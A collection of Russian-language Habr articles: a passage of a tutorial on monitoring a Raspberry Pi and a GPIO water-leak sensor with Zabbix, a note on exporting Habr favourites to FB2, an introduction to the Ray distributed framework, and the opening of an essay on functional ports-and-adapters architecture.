Рис. 2. Установка сервера Zabbix на Raspberry PiПри выборе **Server, Frontend, Agent** на странице <https://www.zabbix.com/download> появится соответствующая инструкция.
Надо сказать, что с точки зрения надежности микрокомпьютер Raspberry Pi — не самый лучший выбор для сервера системы мониторинга, особенно если нужно контролировать критичные системы высокой доступности.
Даже при наличии бесперебойного источника питания Raspberry Pi и размещения микрокомпьютера в зоне с благоприятным температурным режимом, остается еще один фактор, влияющий на надежность — карта памяти microSD.
Мы сталкивались тем, что на некоторых устройствах эта карта выходит из строя примерно раз в полгода, хотя на других без проблем работает годами. По всей видимости, надежность карты и срок ее службы зависит от производителя.
Если для сервера Zabbix все же выбран Raspberry Pi, создайте несколько таких серверов для взаимного мониторинга или попробуйте использовать [кластер высокой доступности Zabbix](https://www.zabbix.com/documentation/current/en/manual/concepts/server/ha) (на русском языке для версии 6.0 [описание кластера можно найти здесь](https://www.zabbix.com/documentation/6.0/ru/manual/concepts/server/ha)).
Шаблон и триггеры агента zabbix-agent2
--------------------------------------
После установки агента Zabbix Agent2 добавьте к узлу Raspberry Pi шаблон **Linux by Zabbix agent active** при помощи веб-интерфейса сервера Zabbix. Обратите внимание, что для работы агента в активном режиме мы подключили активный вариант шаблона.
На рис. 3 показаны подключенные шаблоны **Linux by Zabbix agent active** и **Template Raspberry Pi** (имя узла приведено только для примера). Первый из них собирает метрики, обычные для узла Linux, а второй — метрики, специфичные для Raspberry Pi (мы расскажем об этом шаблоне в следующем разделе статьи).
Рис. 3. Подключение шаблонов к узлу Raspberry PiПеречень метрик и триггеров, определенных в шаблоне Linux by Zabbix agent active, [вы можете найти здесь](https://www.zabbix.com/integrations/raspbian#linux_active).
Эти метрики позволяют контролировать загрузку процессора, свободное пространство на диске, объем свободной памяти, трафик, интенсивность переключения контекста и другие параметры, характерные для «обычного» сервера Linux.
Однако в этом шаблоне нет метрик и триггеров, специфичных для Raspberry Pi. В частности, там нет таких метрик, как температура CPU, напряжение питания микрокомпьютера и памяти microSD, метрики фиксации перехода CPU из-за перегрева в режим Throttle State с пониженной производительностью и других важных метрик. Также нет возможности мониторинга состояния шины GPIO, а значит и подключенных к ней устройств.
Для контроля только что перечисленных метрик можно использовать дополнительные шаблоны в неизменном или доработанном виде, например, шаблон zabbix-agent-on-RasPi.
Шаблон zabbix-agent-on-RasPi
----------------------------
Шаблон zabbix-agent-on-RasPi предназначен для сбора специфической для Raspberry Pi информации. Он доступен здесь: <https://github.com/bobbolous/zabbix-agent-on-RasPi>. Загрузите его и добавьте к узлу контролируемого Raspberry Pi через веб-интерфейс вашего сервера Zabbix.
На рис. 3 этот шаблон показан под именем Template Raspberry Pi.
#### Установка шаблона
Для установки шаблона создайте на узле Raspberry Pi каталог scripts и сделайте его текущим:
```
# mkdir scripts
# cd scripts
```
Загрузите в каталог скрипт raspberrypi.sh, входящий в состав шаблона zabbix-agent-on-RasPi, и разрешите его исполнение:
```
# wget https://raw.githubusercontent.com/bobbolous/zabbix-agent-on-RasPi/master/raspberrypi.sh
# sudo chmod 755 /etc/zabbix/scripts/raspberrypi.sh
```
Добавьте пользователя zabbix в группу video и gpio для предоставления этому пользователю необходимых разрешений:
```
# usermod -aG video zabbix
# usermod -aG gpio zabbix
```
Группа video предоставляет доступ к видеокарте или веб-камере, а группа gpio нужна для доступа к контактам интерфейса GPIO. Список групп в Raspberry Pi OS с кратким описанием [можно найти здесь](http://www.apnorton.com/blog/2017/11/25/Raspberry-Pi-Default-Groups/).
После настройки атрибутов и прав проверьте работу скрипта, получив с его помощью температуру CPU микрокомпьютера от имени пользователя zabbix:
```
# sudo -u zabbix /etc/zabbix/scripts/raspberrypi.sh temperature
53.2
```
В нашем случае CPU нагрелся до 53,2 градусов цельсия, что вполне допустимо.
После проверки работы скрипта raspberrypi.sh загрузите на свой локальный компьютер и установите на сервер Zabbix файл шаблона Template-Raspberry-Pi.xml, [загрузив его с сайта](https://github.com/bobbolous/zabbix-agent-on-RasPi/blob/master/Template-Raspberry-Pi.xml).
Добавьте загруженный шаблон к контролируемому узлу Raspberry Pi.
Чтобы шаблон заработал, допишите в конец файла конфигурации агента Zabbix /etc/zabbix/zabbix\_agent2.conf строку:
```
UserParameter=raspberrypi.sh[*],/etc/zabbix/scripts/raspberrypi.sh $1
```
После этого перезапустите сервис zabbix-agent2:
```
# service zabbix-agent2 restart
# service zabbix-agent2 status
```
#### Метрики и триггер
Через некоторое время после перезапуска агента в разделе Latest Data веб-интерфейса Zabbix для контролируемого узла Raspberry Pi появятся данные метрик (рис. 4).
Рис. 4. Данные метрик шаблона zabbix-agent-on-RasPiНа рис. 5 мы показали трафик изменения температуры CPU одного из наших микрокомпьютеров за последний час (доменное имя приведено только для примера).
Рис. 5. График изменения температуры CPU за последний часВ шаблоне zabbix-agent-on-RasPi определен только один триггер с уровнем серьезности Warning:
```
last(/Template Raspberry Pi/raspberrypi.sh[temperature])>79
```
Он срабатывает, когда температура CPU превышает 79 градусов.
Вы можете добавить собственные триггеры, актуальные для вашей системы.
#### Доработка шаблона zabbix-agent-on-RasPi
Если изучить скрипт /etc/zabbix/scripts/raspberrypi.sh, то видно, что для получения значения метрик в нем вызывается программа /opt/vc/bin/vcgencmd с различными параметрами.
Например, для определения температуры системы на чипе (system-on-a-chip, SoC) используется такая команда:
```
# /opt/vc/bin/vcgencmd measure_temp
temp=49.4'C
```
Описание параметров программы vcgencmd есть в документации: <https://www.raspberrypi.com/documentation/computers/os.html#vcgencmd>.
Вы можете добавить секции в скрипт raspberrypi.sh для сбора новых метрик, отредактировав соответствующим образом шаблон Template Raspberry Pi через веб-интерфейс сервера Zabbix.
Давайте добавим альтернативный способ определения температуры CPU микрокомпьютера, [описанный здесь](https://www.raspberrypi.com/documentation/computers/config_txt.html#monitoring-core-temperature).
Способ заключается в применении следующей команды:
```
# cat /sys/class/thermal/thermal_zone0/temp
48312
```
Для получения температуры в градусах Цельсия нужно разделить на 1000 значение, которое команда вывела на консоль. Но мы будем делить на 1000 не в скрипте, а настроим предварительную обработку метрики в Zabbix.
Добавьте в оператор case такой блок:
```
cputemperature)
cat /sys/class/thermal/thermal_zone0/temp
;;
```
После сохранения скрипта проверьте его работу, запустив от имени пользователя zabbix:
```
# sudo -u zabbix /etc/zabbix/scripts/raspberrypi.sh cputemperature
48312
```
Теперь перейдем к добавлению метрики в шаблон Template Raspberry Pi. Создайте метрику CPU temperature, указав параметр **cputemperature** в поле **Key** (рис. 6).
Рис. 6. Добавление метрики CPU temperatureОбратите внимание, что в списке **Type** выбран активный агент **Zabbix agent (active)**.
Чтобы включить предварительную обработку значения, полученного от скрипта raspberrypi.sh с параметром cputemperature, откройте вкладку **Preprocessing**. Добавьте там с помощью ссылки **Add** шаг **Custom multiplier**, передав в качестве множителя значение 0.001 (рис. 7).
Рис. 7. Добавляем предварительную обработку метрики
Умножение на 0.001 эквивалентно делению на 1000, поэтому Zabbix получит в результате правильное значение температуры (рис. 8).
Рис. 8. График изменения температуры для метрики CPU temperatureВ качестве альтернативы вы можете добавить в скрипт raspberrypi.sh блок с командой, которая не потребует настройки предварительной обработки значения метрики:
```
# perl -e 'm/(\d+)/; $x=$1; s/\d+//; printf ("%.1f", ( $x / 1000))' -p /sys/class/thermal/thermal_zone0/temp
48.3
```
Здесь запускается небольшой скрипт на языке Perl, который делит полученное значение на 1000.
Обнаружение протечки воды
-------------------------
Приведем пример практического применения Zabbix для мониторинга оборудования, подключенного к интерфейсу GPIO микрокомпьютера Raspberry Pi. Это оборудование предназначено для обнаружения протечки воды, но подобным образом можно контролировать состояние любых других устройств, способных изменять состояние цифровых линий GPIO.
Соберем устройство, показанное на рис. 9.
Рис. 9. Устройство для контроля протечки водыПоказанный на рис. 9 контроллер LoRa в этом проекте не используется, но его применение было описано в статье [«DIY: передаем данные на километры с помощью контроллера Micro::Bit и радиомодуля EBYTE LoRa»](https://habr.com/ru/company/first/blog/669218/).
#### Датчик протечки воды
Для обнаружения протечки воды мы будем использовать датчик дождя или капель MH-RD с контроллером YL-38, созданный на базе компаратора LM393. Контроллер YL-38 показан на рис. 10.
Рис. 10. Контроллер датчика дождя или капель YL-38Этот датчик с контроллером можно купить, например, [на Алиэкспресс](https://aliexpress.ru/item/1005002224429237.html?spm=a2g2w.productlist.list.1.356b634aMCyiUC&sku_id=12000019379720251) или на сайте <https://supereyes.ru/catalog/Datchiki_arduino/Datchik_dozhdya_kapel_MH_RD_s_kontrollerom/>.
Для имитации протечки будем использовать обычную чашку с водопроводной водой.
#### Подключение контроллера YL-38
С одной стороны платы контроллера YL-38 есть два контакта для подключения датчика, а с другой — четыре контакта для подключения питания и микроконтроллера:
* Vcc – питание датчика 3.3-5 В;
* GND – земля;
* A0 – переключение режима (аналоговый или цифровой);
* D0 – цифровое значение наличия влажности (1 или 0)
Для работы с Raspberry Pi для YL-38 нужно использовать напряжение питания 3.3 В, подключив его к контакту Vcc.
Вывод GND соедините с общим проводом Ground микрокомпьютера Raspberry Pi.
Контакт D0 подключите к контакту GPIO 2 микроконтроллера (вывод с номером 3). Хорошее описание порта GPIO [есть в документации](https://www.raspberrypi.com/documentation/computers/os.html#gpio-and-the-40-pin-header).
Что же касается контакта A0, то оставьте его свободным.
Все коммутации рекомендуем выполнять, когда питание Raspberry Pi выключено. А перед включением питания проверьте дважды все соединения, чтобы не повредить микрокомпьютер из-за ошибки.
#### Калибровка контроллера YL-38
На плате контроллера YL-38 есть подстроечный резистор, предназначенный для калибровки. Сразу после включения питания загорится светодиод, расположенный около этого резистора. Вращая отверткой шлиц резистора, добейтесь зажигания второго светодиода, который находится на плате ближе к компаратору LM393.
Теперь убедитесь, что поверхность датчика MH-RD сухая, и поворачивайте шлиц резистора против часовой стрелки, пока второй светодиод не погаснет.
Далее опустите MH-RD в чашку с водой и медленно вращайте шлиц резистора по часовой стрелке до тех пор, пока второй светодиод вновь не загорится.
Если теперь вытащить MH-RD из воды и дать высохнуть, то второй светодиод погаснет.
Когда контроллер YL-38 определяет, что поверхность MH-RD сухая, то на выводе D0 будет значение единицы, а когда влажная — значение 0. Вы можете проверить это мультиметром.
Если все работает правильно, калибровку YL-38 можно считать оконченной.
#### Доработка скрипта raspberrypi.sh
Теперь добавьте в скрипт raspberrypi.sh блок, который будет читать данные с контакта GPIO 2:
```
moisture)
# get YL-38 D0 data
echo "2" > /sys/class/gpio/export
sleep 1
echo "in" > /sys/class/gpio/gpio2/direction
cat /sys/class/gpio/gpio2/value
echo "2" > /sys/class/gpio/unexport
;;
```
Здесь в первой строке скрипт активирует порт GPIO 2. Далее выполняется задержка на одну секунду, чтобы дождаться окончания активации.
После этого скрипт настраивает порт GPIO 2 для ввода информации и выводит полученное из него цифровое значение:
```
echo "in" > /sys/class/gpio/gpio2/direction
cat /sys/class/gpio/gpio2/value
```
Затем скрипт деактивирует порт GPIO 2.
Данная процедура [описана здесь](https://microtechnics.ru/community/raspberry-pi/porty-gpio-iz-komandnoj-stroki-terminala/) (за исключением необходимой задержки).
Подготовив скрипт, проверьте его работу:
```
# sudo -u zabbix /etc/zabbix/scripts/raspberrypi.sh moisture
1
```
Если вы получили сообщение об ошибке, убедитесь, что пользователь zabbix был добавлен в группу gpio:
```
# usermod -aG gpio zabbix
```
#### Добавление метрики в шаблон
После отладки измененного скрипта raspberrypi.sh добавьте в шаблон Template Raspberry Pi метрику Moisture State (рис. 11).
Рис. 11. Добавление метрики Moisture State в шаблон Template Raspberry PiПри добавлении метрики выберите в поле **Type** строку **Zabbix agent (active)**.
Добавьте также триггер, срабатывающий при обнаружении протечки воды, указав для него уровень серьезности как **High**:
```
last(/Template Raspberry Pi/raspberrypi.sh[moisture])=0
```
Теперь вы можете настроить для этого триггера, например, отправку SMS на ваш номер, если обнаружена протечка.
На рис. 12 мы показали график изменения метрики обнаружения протечки, полученный в результате манипуляций с датчиком MH-RD и чашкой с водой.
Рис. 12. График изменения метрики обнаружения протечки водыРазумеется, детектор протечки воды, сделанный подобным образом, годится лишь как учебный проект. Мы рассказали о нем для иллюстрации возможности мониторинга оборудования, подключенного к Raspberry Pi. В серьезных случаях для защиты от протечек лучше использовать промышленные решения.
Файлы к статье
--------------
Модифицированные файлы шаблона zabbix-agent-on-RasPi и скрипта raspberrypi.sh можно загрузить здесь:
<https://github.com/AlexandreFrolov/shop2you_zabbix_monitoring/blob/main/Template-Raspberry-Pi-2.xml>
<https://github.com/AlexandreFrolov/shop2you_zabbix_monitoring/blob/main/raspberrypi.sh>
*Автор: Александр Фролов.*
---
НЛО прилетело и оставило здесь промокод для читателей нашего блога:
— [15% на все тарифы VDS](https://firstvds.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=vds15exeptprogrev) (кроме тарифа Прогрев) — HABRFIRSTVDS. | https://habr.com/ru/post/692322/ | null | ru | null |
# Экспорт избранного Хабра в FB2
**Ненавижу длинные вступления**И поэтому не буду писать их даже под спойлером.
* **Зачем?**
+ Для оффлайнового просмотра на читалках.
* **Моя читалка не поддерживает FB2!**
+ [Универсальный конвертор](http://calibre-ebook.com/)
* **Хочу!**
1. Обзаводимся [Python 2.7+](http://www.python.org/download/). Тестировалось на [Python 2.7.3](http://www.python.org/ftp/python/2.7.3/python-2.7.3.msi).
2. [Ставим](http://www.crummy.com/software/BeautifulSoup/bs4/doc/#installing-beautiful-soup) библиотеку BeautifulSoup 4. Вкратце варианты:
+ `apt-get install python-beautifulsoup4`
+ `easy_install beautifulsoup4`
+ `pip install beautifulsoup4`
+ [Исходники](http://www.crummy.com/software/BeautifulSoup/bs4/download/4.0/) и `python setup.py install`
3. Качаем код из [репозитория](https://bitbucket.org/Pastafarianist/habrafav/overview) ([прямая ссылка](https://bitbucket.org/Pastafarianist/habrafav/get/tip.zip) на последнюю версию).
4. Открываем файл `habrafav.py` и в строке `username = ...` прописываем свой логин.
5. `python habrafav.py` (или просто `habrafav.py` под Windows)
6. Ждём. У меня с кэшированными данными экспорт ~150 статей занимает около 6 минут и 600 Мб оперативной памяти.
7. Забираем `habrahabr_favorites.fb2`. Мой занимает примерно 62 Мб.
* **Уже [было](http://habrahabr.ru/post/111411/).**
+ Знаю. Только
- PDF нормально отображается не везде;
- у меня так и не получилось запустить тот код.
* **А комментарии есть?**
+ Нет. Есть парсинг, но нет экспорта. Прикрутить несложно, но тогда получаемый файл раздуется ещё раза в два-три.
* **Почему FB2?**
+ Потому что это XML. Не верите? [Описание](http://www.fictionbook.org/index.php/%D0%9E%D0%BF%D0%B8%D1%81%D0%B0%D0%BD%D0%B8%D0%B5_%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%82%D0%B0_FB2_%D0%BE%D1%82_Sclex), [схема](http://www.fictionbook.org/index.php/XML_%D1%81%D1%85%D0%B5%D0%BC%D0%B0_FictionBook2.1).
* **Преобразование корректное?**
+ Не совсем. [Валидацию](https://code.google.com/p/fb2utils/) получающиеся файлы не проходят.
+ **Результаты валидации моего избранного**
- `This element is not expected.`
* — 287 раз
* `— 83 раза`
* — 19 раз
* — 7 раз
* — 5 раз
* — 4 раза
* — 3 раза
* — 2 раза
* — 1 раз
- `Character content other than whitespace is not allowed because the content type is 'element-only'.` Тег — , 245 раз.
- `empty tag`. Тег — `|`, 19 раз.
+ Тем не менее, мой Kindle получившийся файл (после конвертации в .mobi) прекрасно отображает.
* **А с неформальной точки зрения?**
+ **UPD: Fixed. Баг был у меня. Перекачайте версию из репозитория.**
Есть странный баг с исчезанием пробелов вокруг тегов, находящихся внутри текста. То есть HTML-код `yet **another** bicycle` превращается в `yet**another**bicycle`. Вероятно, это баг BeautifulSoup, но, возможно, ошибка где-то у меня.
* **Что-нибудь интересное в реализации?**
+ Не особо. Весь парсинг сводится к правильным библиотечным вызовам. После него я выкачиваю все картинки и заменяю теги `` на . Затем при помощи небольшого набора костылей перестраиваю деревья разбора. Удаляю одни теги, заменяю другие, вставляю третьи. Наконец, собираю всё это вместе, добавляю шапку, подвал и пишу в файл. Единственный не совсем тривиальный момент — замена тегов на ``. Грубо говоря - вместо разделителей между параграфами я выделяю сами параграфы. Кому интересно - файл conversion.py`, функция `make_paragraphs`.`
**Да этому же прямая дорога на [govnokod.ru](http://govnokod.ru/)!**
+ Вполне возможно. Я только изучаю возможности BeautifulSoup, поэтому наверняка какие-то вещи сделал не так, как это принято. Напишите в комментариях вашу точку зрения, обсудим.
**Я нашёл ещё баг!**
+ BitBucket поддерживает [форки](https://bitbucket.org/Pastafarianist/habrafav/fork). | https://habr.com/ru/post/116982/ | null | ru | null |
# Ray: Распределенная система для использования ИИ
Здравствуйте, коллеги.
Надеемся еще до конца августа приступить к переводу небольшой, но поистине [базовой книги](https://www.amazon.com/Pragmatic-AI-Introduction-Cloud-Based-Learning/dp/0134863860/) о реализации возможностей ИИ на языке Python.
Господин Гифт, пожалуй, в дополнительной рекламе не нуждается (для любопытствующих — [профиль мэтра](https://github.com/noahgift/) на GitHub):
В предлагаемой сегодня статье будет коротко рассказано о библиотеке Ray, разработанной в Калифорнийском университете (Беркли) и упомянутой в книге Гифта мелким петитом. Надеемся, что в качестве раннего тизера — то, что надо. Добро пожаловать под кат
По мере развития алгоритмов и приемов машинного обучения, все больше и больше приложений для машинного обучения требуется запускать сразу на множестве машин, и они не могут обойтись без параллелизма. Однако инфраструктура для выполнения машинного обучения на кластерах по-прежнему формируется ситуативно. Сейчас уже существуют хорошие решения (например, серверы параметров или поиск гиперпараметров) и высококачественные распределенные системы (например, Spark или Hadoop), исходно создававшиеся не для работы с ИИ, но практикующие специалисты часто создают инфраструктуру для собственных распределенных систем с нуля. На это тратится масса лишних усилий.
В качестве примера рассмотрим концептуально простой алгоритм, скажем, [Эволюционные стратегии для обучения с подкреплением](https://arxiv.org/abs/1703.03864). На псевдокоде этот алгоритм укладывается примерно в дюжину строк, и его реализация на Python немногим больше. Однако, для эффективного использования этого алгоритма на более крупной машине или кластере требуется значительно более сложная программная инженерия. В реализации этого алгоритма от авторов данной статьи – тысячи строк кода, здесь необходимо определять протоколы связи, стратегии сериализации и десериализации сообщений, а также различные способы обработки данных.
Одна из целей [Ray](https://github.com/ray-project/ray) — помочь специалисту-практику превратить алгоритм-прототип, запускаемый на ноутбуке, в высокопроизводительное распределенное приложение, эффективно работающее на кластере (или на отдельно взятой многоядерной машине), добавив относительно немногочисленные строки кода. Такой фреймворк должен по части производительности обладать всеми преимуществами системы, оптимизированной вручную, и не требовать, чтобы пользователь сам задумывался о планировании, передаче данных и машинных сбоях.
**Свободный фреймворк для ИИ**
**Связь с другими фреймворками глубокого обучения**: Ray полностью совместим с такими фреймворками глубокого обучения как TensorFlow, PyTorch и MXNet, поэтому во многих приложениях совершенно естественно использовать вместе с Ray один или более других фреймворков глубокого обучения (например, в наших библиотеках для обучения с подкреплением активно применяются TensorFlow и PyTorch).
**Связь с другими распределенными системами**: Сегодня используется много популярных распределенных систем, однако, большинство из них проектировалось без учета задач, связанных с ИИ, поэтому не обладают требуемой производительностью для поддержки ИИ и не имеют API для выражения прикладных аспектов ИИ. В современных распределенных системах отсутствуют (те или иные, в зависимости от системы) такие нужные возможности:
* Поддержка задач на уровне миллисекунд и поддержка выполнения миллионов задач в секунду
* Вложенный параллелизм (распараллеливание задач внутри задач, например, параллельные имитации при поиске гиперпараметров) (см. на следующем рисунке)
* Произвольные зависимости между задачами, динамически во время исполнения (например, чтобы не приходилось ожидать, подстраиваясь под темп медленных работников)
* Задачи, оперирующие разделяемым изменяемым состоянием (например, весовые коэффициенты в нейронных сетях или симулятор)
* Поддержка неоднородных ресурсов (CPU, GPU, т.д.)
*Простой пример вложенного параллелизма. В нашем приложении параллельно выполняется два эксперимента (каждый из них – это долгосрочная задача), и в каждом эксперименте моделируется несколько параллельных процессов (каждый процесс — это тоже задача).*
Существует два основных способа использования Ray: через его низкоуровневые API и через высокоуровневые библиотеки. Высокоуровневые библиотеки надстраиваются поверх низкоуровневых API. В настоящее время к их числу относятся [Ray RLlib](https://ray.readthedocs.io/en/latest/rllib.html) (масштабируемая библиотека для обучения с подкреплением) и [Ray.tune](https://ray.readthedocs.io/en/latest/tune.html), эффективная библиотека для распределенного поиска гиперпараметров.
**Низкоуровневые API Ray**
Цель Ray API – обеспечить естественное выражение самых общих вычислительных паттернов и прикладных задач, не ограничиваясь при этом такими фиксированными паттернами как MapReduce.
***Динамические графы задач***
Базовый примитив в приложении (задании) Ray — динамический граф задач. Он очень отличается от вычислительного графа в TensorFlow. Тогда как в TensorFlow вычислительный граф представляет нейронную сеть и выполняется по множеству раз в каждом отдельном приложении, в Ray граф задач соответствует целому приложению и выполняется всего один раз. Граф задач заранее не известен. Он строится динамически, пока работает приложение, и выполнение одной задачи может инициировать выполнение многих других задач.
*Пример вычислительного графа. В белых овалах показаны задачи, а в голубых прямоугольниках – объекты. Стрелками указано, что одни задачи зависят от объектов, а другие – создают объекты.*
Произвольные функции Python можно выполнять как задачи, причем, они в произвольном порядке могут зависеть от вывода других задач. См. пример ниже.
```
# Определяем две удаленные функции. При вызове этих функций создаются задачи,
# выполняемые удаленно.
@ray.remote
def multiply(x, y):
return np.dot(x, y)
@ray.remote
def zeros(size):
return np.zeros(size)
# Параллельно запускаем две задачи. Они сразу же возвращают футуры,
# и эти задачи выполняются в фоновом режиме.
x_id = zeros.remote((100, 100))
y_id = zeros.remote((100, 100))
# Запускаем третью задачу. Она не будет назначена, пока первые две задачи
# не завершатся.
z_id = multiply.remote(x_id, y_id)
# Получаем результат. Он останется заблокирован до тех пор, пока не завершится третья задача.
z = ray.get(z_id)
```
***Акторы***
При помощи одних только удаленных функций и вышеописанного обращения с задачами невозможно добиться, чтобы несколько задач одновременно работали над одним и тем же разделяемым изменяемым состоянием. Такая проблема при машинном обучении возникает в разных контекстах, где разделяемым может быть состояние симулятора, весовые коэффициенты в нейронной сети, что-нибудь совершенно иное. Абстракция актора используется в Ray для инкапсуляции изменяемого состояния, разделяемого между множеством задач. Вот иллюстративный пример, демонстрирующий, как это делается с симулятором Atari.
```
import gym
@ray.remote
class Simulator(object):
def __init__(self):
self.env = gym.make("Pong-v0")
self.env.reset()
def step(self, action):
return self.env.step(action)
# Создаем симулятор, он запускает удаленный процесс, который, в свою очередь,
# запустит все методы этого актора
simulator = Simulator.remote()
observations = []
for _ in range(4):
# Совершаем в симулятор действие 0. Этот вызов не приводит к блокировке
# и возвращает футуру
observations.append(simulator.step.remote(0))
```
При всей простоте актор очень гибок в использовании. Например, в акторе может инкапсулироваться симулятор или политика нейронной сети, также он может использоваться для распределенного обучения (как, например, с сервером параметров) или для обеспечения политик в «живом» приложении.
*Слева: Актор выдает прогнозы/действия некоторому количеству клиентских процессов. Справа: Множество акторов сервера параметров выполняют распределенное обучение множества рабочих процессов.*
***Пример с сервером параметров***
Сервер параметров можно реализовать в виде актора Ray следующим образом:
```
@ray.remote
class ParameterServer(object):
def __init__(self, keys, values):
# Эти значения будут изменяться, поэтому необходимо создать локальную копию.
values = [value.copy() for value in values]
self.parameters = dict(zip(keys, values))
def get(self, keys):
return [self.parameters[key] for key in keys]
def update(self, keys, values):
# Эта функция обновления выполняет сложение с имеющимися значениями, но
# функцию обновления можно определять произвольно
for key, value in zip(keys, values):
self.parameters[key] += value
```
Вот [более полный пример](https://ray.readthedocs.io/en/latest/example-parameter-server.html).
Чтобы инстанцировать сервер параметров, поступим так.
```
parameter_server = ParameterServer.remote(initial_keys, initial_values)
```
Чтобы создать четыре долгоиграющих работника, постоянно извлекающих и обновляющих параметры, сделаем так.
```
@ray.remote
def worker_task(parameter_server):
while True:
keys = ['key1', 'key2', 'key3']
# Получаем наиболее актуальные параметры
values = ray.get(parameter_server.get.remote(keys))
# Вычисляем некоторые обновления параметров
updates = …
# Обновляем параметры
parameter_server.update.remote(keys, updates)
# Запускаем 4 долгосрочные задачи
for _ in range(4):
worker_task.remote(parameter_server)
```
**Высокоуровневые библиотеки Ray**
[Ray RLlib](https://ray.readthedocs.io/en/latest/rllib.html) – это масштабируемая библиотека для обучения с подкреплением, созданная для использования на множестве машин. Ее можно задействовать при помощи приведенных для примера обучающих сценариев, а также через API на Pytho. В настоящее время он включает реализации алгоритмов:
* A3C
* DQN
* Эволюционных стратегий
* PPO
Идет работа и над реализацией других алгоритмов. RLlib полностью совместима с [OpenAI gym](https://gym.openai.com/docs/).
[Ray.tune](https://ray.readthedocs.io/en/latest/tune.html) – эффективная библиотека для распределенного поиска гиперпараметров. В ней предоставляется API на Python для решения задач глубокого обучения, обучения с подкреплением и других задач, требующих большой вычислительной мощности. Вот иллюстративный пример такого рода:
```
from ray.tune import register_trainable, grid_search, run_experiments
# Функция для оптимизации. Гиперпараметры находятся в аргументе config
def my_func(config, reporter):
import time, numpy as np
i = 0
while True:
reporter(timesteps_total=i, mean_accuracy=(i ** config['alpha']))
i += config['beta']
time.sleep(0.01)
register_trainable('my_func', my_func)
run_experiments({
'my_experiment': {
'run': 'my_func',
'resources': {'cpu': 1, 'gpu': 0},
'stop': {'mean_accuracy': 100},
'config': {
'alpha': grid_search([0.2, 0.4, 0.6]),
'beta': grid_search([1, 2]),
},
}
})
```
Текущие результаты можно динамически визуализировать при помощи специальных инструментов, например, Tensorboard и VisKit от rllab (либо напрямую читать логи JSON). Ray.tune поддерживает поиск по сетке, случайный поиск и более нетривиальные алгоритмы раннего останова, например, HyperBand.
**Подробнее о Ray**
* [Академическая статья](https://arxiv.org/abs/1712.05889)
* [База кода](https://github.com/ray-project/ray)
* [Документация](https://ray.readthedocs.io/en/latest/index.html) | https://habr.com/ru/post/420695/ | null | ru | null |
# Функциональная архитектура — это порты и адаптеры
Представляю вашему вниманию новую статью [Mark Seemann](http://blog.ploeh.dk/). Похоже, с таким количеством переводов он скоро станет топовым хаброавтором, даже не имея здесь аккаунта!
Чем интересна функциональная архитектура? Она имеет тенденцию попадать в так называемую «яму успеха» («Pit of Success»), в условиях которой разработчики оказываются в ситуации, вынуждающей писать хороший код.
Обсуждая объектно-ориентированную архитектуру, мы часто сталкиваемся с идеей архитектуры портов и адаптеров, хотя часто называем ее как-либо иначе: многоуровневой, луковой или гексагональной архитектурой. Смысл состоит в том, чтобы отделить бизнес-логику от деталей технической реализации, чтобы мы могли варьировать их независимо друг от друга. Это позволяет нам маневрировать, реагируя на изменения в бизнесе или в технологиях.
Порты и адаптеры
----------------
Идея архитектуры портов и адаптеров заключается в том, что порты представляют собой границы приложения. Порт — это то, что взаимодействует с внешним миром: пользовательскими интерфейсами, очередью сообщений, базой данных, файлами, приглашениями командной строки и так далее. В то время как порты являются интерфейсом приложения для остального мира, адаптеры обеспечивают трансляцию между портами и моделью приложения.
Термин «адаптер» выбран удачно, поскольку роль адаптера ([как шаблона проектирования](https://ru.wikipedia.org/wiki/%D0%90%D0%B4%D0%B0%D0%BF%D1%82%D0%B5%D1%80_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)) заключается в обеспечении связи между двумя разными интерфейсами.
Как я объяснял ранее, вы должны прибегнуть к каким-либо вариантам портов и адаптеров, если применяете Injection Dependency.
Однако проблема с этой архитектурой заключается в том, что, похоже, для ее реализации требуется много объяснений:
* моя книга о Dependency Injection имеет объем 500 страниц;
* книга Роберта Мартина о SOLID-принципах, дизайне пакетов, компонент и т.п. также занимает 700 страниц;
* Проблемно-ориентированное программирование — 500 страниц;
* и так далее…
По моему опыту, реализация архитектуры портов и адаптеров — сизифов труд. Она требует много усердия, но если отвлечься на мгновение, валун снова покатится вниз.
Реализовать архитектуру портов и адаптеров в объектно-ориентированным программировании вполне возможно, но это требует больших усилий. Должно ли это быть так сложно?
Haskell как учебное пособие
---------------------------
Имея неподдельный интерес к функциональному программированию, я решил изучить Haskell. Не то, чтобы Haskell был единственным функциональным языком, но он обеспечивает чистоту на уровне, не достижимом ни F#, ни Clojure, ни Scala. В Haskell функция является чистой, если ее тип не указывает иного. Это заставляет вас быть осторожным в дизайне и отделять чистые функции от функций с побочными эффектами.
Если вы не знаете Haskell, код с побочными эффектами может появиться только внутри определенного «контекста», называемого IO (ввод-вывод). Это монадический тип, однако это не главное. Главное заключается в том, что по типу функции вы можете сказать, чистая она или нет. Функция с типом
```
ReservationRendition -> Either Error Reservation
```
является чистой, поскольку `IO` в типе отсутствует. С другой стороны, функция с типом:
```
ConnectionString -> ZonedTime -> IO Int
```
не чистая, потому что возвращаемый ею тип — `IO Int`. Это означает, что возвращаемое значение является целым числом, но это целое происходит из контекста, в котором оно может меняться между вызовами функции.
Существует фундаментальное различие между функциями, возвращающими `Int` и `IO Int`. В Haskell любая функция, возвращающая `Int`, ссылочно прозрачная [en.wikipedia.org/wiki/Referential\_transparency](https://en.wikipedia.org/wiki/Referential_transparency). Это означает, что функция гарантированно будет возвращать одно и то же значение при одном и том же вводе. С другой стороны, функция, возвращающая `IO Int`, не дает такой гарантии.
В процессе написании программ на Haskell вы должны стремиться максимизировать количество чистых функций, сдвигая нечистый код к границам системы. Хорошая программа на Haskell имеет большое ядро чистых функций и оболочку кода ввода-вывода. Выглядит знакомо, не правда ли?
В целом это означает, что система типов в Haskell обеспечивает использование архитектуры портов и адаптеров. Порты — это ваш код ввода-вывода. Ядро приложения — это все ваши чистые функции. Система типов автоматически сталкивает вас в «яму успеха».
Haskell — отличный помощник в обучении, потому что заставляет вас четко различать чистые и нечистые функции. Вы даже можете использовать его в качестве инструмента проверки того, является ли ваш код F# «достаточно функциональным».
F# — в первую очередь функциональный язык, но он также позволяет писать объектно-ориентированный или императивный код. Если вы напишете свой код на F# «функциональным» способом, его легко перевести на Haskell. Если ваш код F# трудно перевести на Haskell, вероятно, он не является функциональным.
Ниже для вас живой пример.
